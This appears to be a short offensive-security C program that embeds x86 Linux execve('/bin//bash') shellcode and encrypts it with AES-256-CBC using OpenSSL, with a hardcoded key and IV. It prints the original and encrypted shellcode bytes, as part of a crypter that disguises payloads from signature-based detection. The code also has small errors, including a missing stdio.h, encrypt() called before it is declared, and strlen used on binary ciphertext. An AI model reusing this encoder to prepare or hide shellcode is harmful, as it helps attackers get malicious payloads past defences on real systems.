AES 256 bit shellcode encryption

encryption.c

#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>

int main (void)
{

  /* A 256 bit key */
  unsigned char *key = (unsigned char *)"01234567890123456789012345678901";

  /* A 128 bit IV */
  unsigned char *iv = (unsigned char *)"0123456789012345";

  /* Message to be encrypted */
  unsigned char *plaintext =
                (unsigned char *)"\x31\xc9\xf7\xe1\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

  /* Printing original Shellcode */
  printf("Our Original shellcode is:\n");
    for(int i = 0; i < strlen(plaintext); i++) {
      printf("\\x%02x", plaintext[i]);
    }
    printf("\n------\n");


  /* Buffer for ciphertext */
  unsigned char ciphertext[128];

  /* Buffer for the decrypted text */
  unsigned char decryptedtext[128];

  int decryptedtext_len, ciphertext_len;

  /* Encrypt the plaintext */
  ciphertext_len = encrypt (plaintext, strlen ((char *)plaintext), key, iv,
                            ciphertext);

  /* Dump of ciphertext here */
  printf("Ciphertext is:\n");
  BIO_dump_fp (stdout, (const char *)ciphertext, ciphertext_len);

  /* Null terminate for printing */
  ciphertext[ciphertext_len] = '\0';

  printf("\n------\n");

  printf("Our encrypted shellcode is:\n");
    for(int i = 0; i < strlen(ciphertext); i++) {
      printf("\\x%02x", ciphertext[i]);
    }
    printf("\n------\n");

}
void handleErrors(void)
{
  ERR_print_errors_fp(stderr);
  abort();
}

int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
  unsigned char *iv, unsigned char *ciphertext)
{
  EVP_CIPHER_CTX *ctx;

  int len;

  int ciphertext_len;

  /* Create and initialise the context */
  if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();

  /* Initialise the encryption operation. IMPORTANT - ensure you use a key
   * and IV size appropriate for your cipher
   * In this example we are using 256 bit AES (i.e. a 256 bit key). The
   * IV size for *most* modes is the same as the block size. For AES this
   * is 128 bits */
  if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
    handleErrors();

  /* Provide the message to be encrypted, and obtain the encrypted output.
   * EVP_EncryptUpdate can be called multiple times if necessary
   */
  if(1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len))
    handleErrors();
  ciphertext_len = len;

  /* Finalise the encryption. Further ciphertext bytes may be written at
   * this stage.
   */
  if(1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len)) handleErrors();
  ciphertext_len += len;

  /* Clean up */
  EVP_CIPHER_CTX_free(ctx);

  return ciphertext_len;
}